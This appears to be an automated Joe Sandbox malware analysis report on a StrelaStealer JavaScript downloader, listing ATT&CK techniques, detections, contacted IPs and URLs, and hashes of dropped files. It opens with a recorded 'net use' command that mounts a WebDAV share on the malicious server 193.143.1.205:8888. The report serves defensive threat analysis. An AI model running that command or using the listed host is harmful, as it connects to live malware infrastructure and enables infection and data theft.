Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
22346161431640618987.js	7%	Virustotal		Browse
22346161431640618987.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/t	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
15.164.165.52.in-addr.arpa	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2747052510.0000023528E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1520520205.0000023528D50000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/t	net.exe, 00000007.00000002.1521159807.000001C0A6928000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1521159807.000001C0A6928000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1527857842.000001C0A695C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1520272859.000001C0A695C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.1521159807.000001C0A6928000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588567
Start date and time:	2025-01-11 02:28:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	22346161431640618987.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.210.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 20.12.23.50, 23.56.162.204, 52.165.164.15, 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:29:43	API Interceptor	21x Sleep call for process: powershell.exe modified
20:29:47	API Interceptor	1x Sleep call for process: net.exe modified
20:29:47	API Interceptor	2x Sleep call for process: svchost.exe modified
20:29:59	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15108208223119820474.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4702309321830413443.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11248212732259326130.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18731127942186526806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1792532021822412669.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18971281001132729595.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.802193433674274
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAp:RJE+Lfki1GjHwU/+vVhWqpM
MD5:	09ACA3B564DB3AE5AB6DB1D554CDFCAE
SHA1:	166A5D357DA3ACC101EEE1A93A72B22415849628
SHA-256:	552E4128DBBF47069B4471A2AF64C6982ADCC7A58EDB36A0B218F5F9295A249C
SHA-512:	73EEC0E436A6AE8587B5E8CB223CD126AFD084939F2BEB4B67CA75F62DC424222A6359B8C635ACD4074C1E811F26C633A9EFABC11C42A9C5C99CD7AEBB654D3D
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3636ed93, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.943266439315675
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	254B5F5918B80AC7751BCE253607E02A
SHA1:	B8C9BD546C109F8408B55D5B41D1B586C0AB1EBC
SHA-256:	47823E42E7025A083EC83D02D9CEFE93D9F521B411A5736E17D5080426EEA594
SHA-512:	1311F12AAF5D0665F3C586D2005CA0479A6B81EB2603924766D9AC7E87CC06BF869F37939CEC17488C9B9E77E6A8CAB63368850FAD32DE56066AF65DA3FB52E3
Malicious:	false
Preview:	66.... ...............X\...;...{......................0.x...... ...{s./....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................-../....}..................../....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08121768023843884
Encrypted:	false
SSDEEP:	3:kCW8Ye9/Fcll/nqlFcl1ZUllllOui/YllGBnX/l/Tj/k7/t:i8z9/all/qlFclQ/lGQ254
MD5:	9D16675DFB76367D73B9685D2C182A67
SHA1:	D3BCEF3D96E43E1B1ED5F726FC4A90654C755400
SHA-256:	58B0C0EDFD603AD19DCFAE093AB31A267C347B3A3F84D716863B738F962DA932
SHA-512:	BBA4F8CED0B545F0BEA3D471F3BC117C114CB3B03788D2CBAC5DB4B4B53EC6F2FB0F2FB1685EF945044B92B8859728D36B7B77D6A33424EDCE51F683C188A7C1
Malicious:	false
Preview:	...'.....................................;...{../....}... ...{s.......... ...{s.. ...{s.P.... ...{s..................../....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.177988736015337
Encrypted:	false
SSDEEP:	6:iO4qVG9+RNAVq2PCHhJ2nKuAl9OmbnIFUtSqVGLsAgZmwsqVGLsAIkwOCHhJ2nKZ:7nG9hVvBHAahFUtZG1g/LG1I56HAaSJ
MD5:	53D8E520B71A99B9D160D30C80FC2D59
SHA1:	782A632026D9C8A56BC004AF1330FBBEF3A70D41
SHA-256:	7B76AA3D5277D0B2C2CBF2B72A7ABE1744B01FD2EA0A0B597FFFB46A32620342
SHA-512:	BA71EB1A03AF8234A013E97413CE9890906B2DC12560F82B421F67398655A0F04258F165771209CA4242CA8F755BFD6CC5AEE56B3FBF2F39531AF7982C43635B
Malicious:	false
Preview:	2025/01/10-20:29:46.912 1244 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:29:46.914 1244 Recovering log #3.2025/01/10-20:29:46.914 1244 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.177988736015337
Encrypted:	false
SSDEEP:	6:iO4qVG9+RNAVq2PCHhJ2nKuAl9OmbnIFUtSqVGLsAgZmwsqVGLsAIkwOCHhJ2nKZ:7nG9hVvBHAahFUtZG1g/LG1I56HAaSJ
MD5:	53D8E520B71A99B9D160D30C80FC2D59
SHA1:	782A632026D9C8A56BC004AF1330FBBEF3A70D41
SHA-256:	7B76AA3D5277D0B2C2CBF2B72A7ABE1744B01FD2EA0A0B597FFFB46A32620342
SHA-512:	BA71EB1A03AF8234A013E97413CE9890906B2DC12560F82B421F67398655A0F04258F165771209CA4242CA8F755BFD6CC5AEE56B3FBF2F39531AF7982C43635B
Malicious:	false
Preview:	2025/01/10-20:29:46.912 1244 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:29:46.914 1244 Recovering log #3.2025/01/10-20:29:46.914 1244 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.180683102442662
Encrypted:	false
SSDEEP:	6:iO4qVGNm0Q+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqVGnLAdWZmwsqVGPgwQVkwOC1:7nGNmB+vBHAa8uFUtZGL2W/LG0V56HAv
MD5:	7127BF2A770C6FB8BDD830C32CF8486B
SHA1:	7ECA5B54B551D8F5E4CBC07744D37B7A7C256E77
SHA-256:	AEF27F214C1722B6E2C49A0539861077889A42A26ABAC6EF52F5E053EE315CFD
SHA-512:	657EAAEE3C4E7380C6352A76CF62EEBBD549FB278D4642C49220668C163A79A7FEDFBEE7084CDBC48CA2E5B9631D29A91CCC6AF1AA9CD049F0AFE7A3E39B7706
Malicious:	false
Preview:	2025/01/10-20:29:46.965 9cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:29:46.966 9cc Recovering log #3.2025/01/10-20:29:46.967 9cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.180683102442662
Encrypted:	false
SSDEEP:	6:iO4qVGNm0Q+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqVGnLAdWZmwsqVGPgwQVkwOC1:7nGNmB+vBHAa8uFUtZGL2W/LG0V56HAv
MD5:	7127BF2A770C6FB8BDD830C32CF8486B
SHA1:	7ECA5B54B551D8F5E4CBC07744D37B7A7C256E77
SHA-256:	AEF27F214C1722B6E2C49A0539861077889A42A26ABAC6EF52F5E053EE315CFD
SHA-512:	657EAAEE3C4E7380C6352A76CF62EEBBD549FB278D4642C49220668C163A79A7FEDFBEE7084CDBC48CA2E5B9631D29A91CCC6AF1AA9CD049F0AFE7A3E39B7706
Malicious:	false
Preview:	2025/01/10-20:29:46.965 9cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:29:46.966 9cc Recovering log #3.2025/01/10-20:29:46.967 9cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8f935a3b-666c-48f4-92e3-d20ad3f708c9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.948116995867728
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLuxsBdOg2H/caq3QYiub6P7E4T3y:Y2sRdsmdMHO3QYhbS7nby
MD5:	EBAD434EC077690FD9A44A202517A9B8
SHA1:	90A15327DC16BB299697D575B53649A4E223F510
SHA-256:	1E19705354EEFC2741AF9F583F83F540F89391FA412A1F8A86829C944AE1641F
SHA-512:	39977A87DC521BB813ACB4D28E0DC42835EE3E34C0CE5D0B05FEFE812A598862D717B0F332B9EC2E2231199DB36C3416D1372FDE0388B8CBD6362053C1B3F0F9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118999519428","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148174},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.948116995867728
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLuxsBdOg2H/caq3QYiub6P7E4T3y:Y2sRdsmdMHO3QYhbS7nby
MD5:	EBAD434EC077690FD9A44A202517A9B8
SHA1:	90A15327DC16BB299697D575B53649A4E223F510
SHA-256:	1E19705354EEFC2741AF9F583F83F540F89391FA412A1F8A86829C944AE1641F
SHA-512:	39977A87DC521BB813ACB4D28E0DC42835EE3E34C0CE5D0B05FEFE812A598862D717B0F332B9EC2E2231199DB36C3416D1372FDE0388B8CBD6362053C1B3F0F9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381118999519428","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":148174},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237670136887337
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bp8gW4:S43C4mS7fFi0KFYDjr3LWO3V3aw+bp8M
MD5:	45B7A00B9FAE591A4895F098798F2FF5
SHA1:	50534DD2E7D57EE2F644DD8E7EC84DB56357DF1D
SHA-256:	1466BDA4F4D74C02C1E9F4860092A85FD10E1C184E7E27FD6783F9923343A128
SHA-512:	72DCA656B139ED6138FE672DBE7D692F470FBEDB0B217B46639B60613D168F343378D90FC9545F3DDEF62321DD685BC3A947883CAD74C9B9074034D830EBF38F
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.212793465153794
Encrypted:	false
SSDEEP:	6:iO4qVGF0Q+q2PCHhJ2nKuAl9OmbzNMxIFUtSqVGjpdWZmwsqVGhAQVkwOCHhJ2nv:7nGH+vBHAa8jFUtZGTW/LGbV56HAa84J
MD5:	F94A547ECCD98048617DAD3A602E15AA
SHA1:	73A00C1409B27BF627BCE20691EFF7FE692D5E67
SHA-256:	C268B5AF11E6E59C18FD2A0222F3B31D40FCF85C03B52883369CBE1A7CA9B116
SHA-512:	432A32DCF6B650164CAB6E3C31AFAE5B8AB94ABFA36332353CE0483675F3EB334EFC38B8040CCE737476F3A64F0CBDD4F3CED6EF34FE3D187E9E164CF8151DF0
Malicious:	false
Preview:	2025/01/10-20:29:47.165 9cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:29:47.168 9cc Recovering log #3.2025/01/10-20:29:47.169 9cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.212793465153794
Encrypted:	false
SSDEEP:	6:iO4qVGF0Q+q2PCHhJ2nKuAl9OmbzNMxIFUtSqVGjpdWZmwsqVGhAQVkwOCHhJ2nv:7nGH+vBHAa8jFUtZGTW/LGbV56HAa84J
MD5:	F94A547ECCD98048617DAD3A602E15AA
SHA1:	73A00C1409B27BF627BCE20691EFF7FE692D5E67
SHA-256:	C268B5AF11E6E59C18FD2A0222F3B31D40FCF85C03B52883369CBE1A7CA9B116
SHA-512:	432A32DCF6B650164CAB6E3C31AFAE5B8AB94ABFA36332353CE0483675F3EB334EFC38B8040CCE737476F3A64F0CBDD4F3CED6EF34FE3D187E9E164CF8151DF0
Malicious:	false
Preview:	2025/01/10-20:29:47.165 9cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:29:47.168 9cc Recovering log #3.2025/01/10-20:29:47.169 9cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
